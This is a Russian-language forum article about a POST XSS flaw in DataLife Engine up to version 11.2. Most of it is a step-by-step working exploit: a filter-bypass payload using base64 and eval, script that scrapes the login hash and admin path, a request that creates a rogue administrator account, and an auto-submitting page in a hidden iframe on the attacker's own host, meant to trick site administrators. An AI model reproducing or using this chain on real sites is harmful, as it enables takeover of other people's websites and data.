и ниже.
(степень опасность высокая), позволяющая получить права админа на вашем сайте. Недостаточная фильтрация данных на
11.2 и ниже, степень опасность определена, как высокая. При это разработчики вместо, того чтобы создать новую тему поступили подленько, вставили код в старой статье. Многие могли бы пропустить и по сути потерять данные сайта, где злоумышленник может удалять статьи и пользователей, ставить им рейтинги другие вещи, которые разрешены у вас на сайте администрации.
На днях выхожу я на форум и вижу, что были забанены некоторые пользователи. Как потом оказалось, они накрутили себе «симпатии» и посмотрели код под хайдом для уязвимости DataLife Engine POST XSS 9.x 10.x 11.x. Я решил пойти на официальный сайт и с удивлением обнаружил, что патча не было выпущено. Я решил посмотреть их форум и наткнулся на тему "Dle 9.x, 10.x 11.x post xss", в которой человек интересуется серьезностью данной уязвимости.
И хотел уточнить поэтому может тут кто знает про это, и вообще опасно ли это.
Чуть ниже я увидел ответ технической поддержки и был поражен. Приведу скриншот:

Рис. 1. Ответ технической поддержки.
Такое отношение к проблемам движка говорит само за себя. Теперь давайте перейдем к самому интересному, а именно к написанию эксплойта для последней версии DLE (11.2). Я скачал с официального сайта trial версию и установил ее себе на localhost. Так же я скачал 11.2 NULLED, чтобы посмотреть исходный код файла typograf.php.
Код PHP:
$txt = $typo->process($txt);
…
$txt = preg_replace( $find, $replace, $txt );
$txt = preg_replace( "#<iframe#i", "<iframe", $txt );
$txt = preg_replace( "#<script#i", "<script", $txt );
$txt = str_replace( "<?", "<?", $txt );
$txt = str_replace( "?>", "?>", $txt );
@header( "Content-type: text/html; charset=" . $config['charset'] );
echo $txt;
…
Здесь я привел только часть кода, а именно где идет фильтрация. Массив $find содержит всякие события и обертки типа dаta://, onclick и т.д. Фильтрации тегов здесь нет. Для демонстрации уязвимости я использовал Firefox версии 53.0b7. Итак, приступим к написанию эксплойта. Мы напишем сплойт для создания пользователя с правами администратора. Сначала проверим наличие XSS. Для этого в теле POST нужно отправить следующий код:
Код:
txt=<object data=jаvascript:alert(1);>
Результат:

Рис. 2. Результат работы скрипта.
Фильтр кстати для слова "jаvascript" у них прописан и там происходит замена этого слова на jаvascript, но firefox обрабатывает эту строку в таких атрибутах тегов как href/data как валидную ссылку, то есть для Firefox этот фильтр как проверка if(true) {}, но авторы не удосужились проверить свои мега «фильтры» в браузерах и вот результат.
Для возможности создания пользователя необходимо знать dle_login_hash, а также dle_admin. Их можно получить с главной страницы. Для этого нужно отправить на нее AJAX запрос с помощью jаvascript. Чтобы не попасть еще под какой – нибудь фильтр, я буду использовать функцию eval + atob, а также возможности регулярных выражений jаvascript. Чтобы было проще и нагляднее, я подключу jQuery.js с тестового сайта. В результате код эксплойта будет выглядеть следующим образом:
Код:
Eval(atob(/base64_encode(Document.write(atob(‘[code_base64]’)))/.source))
Итак, первой строкой нашего эксплойта будет:
Код:
<script src = "/engine/classes/js/jquery.js"></script>
<script>
var rootDir = "/";
$.get(rootDir, function(data)
{
alert(data);
});
</script>
Кодируем это дело в base64 и используем регулярные выражения. В результате получится следующий код:
Код:
txt=<object data=jаvascript:eval(atob(/ZG9jdW1lbnQud3JpdGUoYXRvYignUEhOamNtbHdkQ0J6Y21NZ1BTQWlMMlZ1WjJsdVpTOWpiR0Z6YzJWekwycHpMMnB4ZFdWeWVTNXFjeUkrUEM5elkzSnBjSFErQ2p4elkzSnBjSFErQ25aaGNpQnliMjkwUkdseUlEMGdJaThpT3dva0xtZGxkQ2h5YjI5MFJHbHlMQ0JtZFc1amRHbHZiaWhrWVhSaEtRcDdDZ2xoYkdWeWRDaGtZWFJoS1RzS2ZTazdDand2YzJOeWFYQjBQZz09JykpOw==/.source));>
Результат выполнения:

Рис. 3. Результат выполнения GET запроса на главную страницу.
У нас есть код главной страницы сайта. Для получения необходимых переменных воспользуемся регулярными выражениями и перепишем код выше:
Код:
<script src = "/engine/classes/js/jquery.js"></script>
<script>
var rootDir = "/";
$.get(rootDir, function(data)
{
var r=new RegExp(atob('ZGxlX2FkbWluXHMqPVxzKignfCIpKC4rPykoJ3wiKQ=='));
var da=r.exec(data)[2];
r=new RegExp(atob('ZGxlX2xvZ2luX2hhc2hccyo9XHMqKCd8IikoLis/KSgnfCIp'));
var dh=r.exec(data)[2];
alert(da+' ' + dh);
});
</script>
Результат:

Рис. 4. Результат работы.
Мы получили данные о расположении админ панели, а также dle_login_hash.
Теперь давайте сформируем запрос на создание админа. Для этого нужно сделать POST запрос в админ панель. Наш код будет следующий:
Код:
<script src = "/engine/classes/js/jquery.js"></script>
<script>
var rootDir = "/";
$.get(rootDir, function(data)
{
var r=new RegExp(atob('ZGxlX2FkbWluXHMqPVxzKignfCIpKC4rPykoJ3wiKQ=='));
var da=r.exec(data)[2];
r=new RegExp(atob('ZGxlX2xvZ2luX2hhc2hccyo9XHMqKCd8IikoLis/KSgnfCIp'));
var dh=r.exec(data)[2];
$.post(rootDir + da,
{
action: "adduser",
user_hash: dh,
mod: "editusers",
regusername: "hackedByXA",
regpassword: "qwerty123",
regemail: "[email protected]",
reglevel: 1
});
});
</script>
Результат выполнения данного кода:
Рис. 5. Созданный админ.
Теперь давайте обернем этот код в одну ссылку. Для этого нам понадобится тег iframe и свой собственный хост. На другом хосте создаем два файла. Первый файл должен содержать код эксплойта:
Код:
<!DOCTYPE html>
<html>
<body>
<form method="POST" action="http://localhost/engine/ajax/typograf.php">
<input type = "text" name = "txt" value = "<object data=jаvascript:eval(atob(/ZG9jdW1lbnQud3JpdGUoYXRvYignUEhOamNtbHdkQ0J6Y21NZ1BTQWlMMlZ1WjJsdVpTOWpiR0Z6YzJWekwycHpMMnB4ZFdWeWVTNXFjeUkrUEM5elkzSnBjSFErQ2p4elkzSnBjSFErQ25aaGNpQnliMjkwUkdseUlEMGdJaThpT3dva0xtZGxkQ2h5YjI5MFJHbHlMQ0JtZFc1amRHbHZiaWhrWVhSaEtRcDdDZ2wyWVhJZ2NqMXVaWGNnVW1WblJYaHdLR0YwYjJJb0oxcEhlR3hZTWtacllsZHNkVmhJVFhGUVZuaDZTMmxuYm1aRFNYQkxRelJ5VUhscmIwb3pkMmxMVVQwOUp5a3BPd29KZG1GeUlHUmhQWEl1WlhobFl5aGtZWFJoS1ZzeVhUc0tDWEk5Ym1WM0lGSmxaMFY0Y0NoaGRHOWlLQ2RhUjNoc1dESjRkbG95YkhWWU1taG9ZekpvWTJONWJ6bFlTRTF4UzBOa09FbHBhMjlNYVhNdlMxTm5ibVpEU1hBbktTazdDZ2wyWVhJZ1pHZzljaTVsZUdWaktHUmhkR0VwV3pKZE93b0pKQzV3YjNOMEtISnZiM1JFYVhJZ0t5QmtZU3dLQ1hzS0NRbGhZM1JwYjI0NklDSmhaR1IxYzJWeUlpd0tDUWwxYzJWeVgyaGhjMmc2SUdSb0xBb0pDVzF2WkRvZ0ltVmthWFIxYzJWeWN5SXNDZ2tKY21WbmRYTmxjbTVoYldVNklDSm9ZV05yWldSQ2VWaEJJaXdLQ1FseVpXZHdZWE56ZDI5eVpEb2dJbkYzWlhKMGVURXlNeUlzQ2drSmNtVm5aVzFoYVd3NklDSm9ZV05yWldSQ2VWaEJRRzFoYVd3dWNuVWlMQW9KQ1hKbFoyeGxkbVZzT2lBeENnbDlLVHNLZlNrN0Nqd3ZjMk55YVhCMFBnPT0nKSk7/.source));>">
<input type="submit" id="click">
</form>
<script>document.getElementById("click").click();</script>
</body>
</html>
Второй файл должен содержать скрытый фрейм на данный эксплойт:
Код:
<iframe src = "exploit.php" style = "opacity: 0;"></iframe>
Ну вот теперь эксплойт готов. Все, что нам осталось сделать, это заставить админа кликнуть по ссылке. Ссылку лучше сделать как защищенную, тогда она будет вести на go.php собственного хоста и будет закодирована в base64. Для проверки работоспособности эксплойта в различных браузерах достаточно создать HTML файл со следующим содержимым:
Код:
<object data = javascript:alert(1);>
И по открывать этот файл в разных браузерах. К тому же в предыдущих версиях DLE уязвимость можно эксплуатировать не прибегая к тегу OBJECT и обходу фильтрации ключевого слова "jаvascript", что увеличит спектр браузеров, но по словам технической поддержки – «это все не серьезно».

Автор: XA (und3rgr0und pro) тема форума Внимание! У Вас нет прав для просмотра скрытого текста.
Проблема: Недостаточная фильтрация данных.
, вот так выглядела статья изначально.
Но, как только появилась уязвимость в апреле 2017, разработчики к своего стыду просто дописали код в новость марта шестого числа (06.2017)
Внимание! У Вас нет прав для просмотра скрытого текста.
Сложно мыло сообщить о новой уязвимости, подобные действия могут запутать людей, думая что они уже сделали защиту пропустить строчку ниже.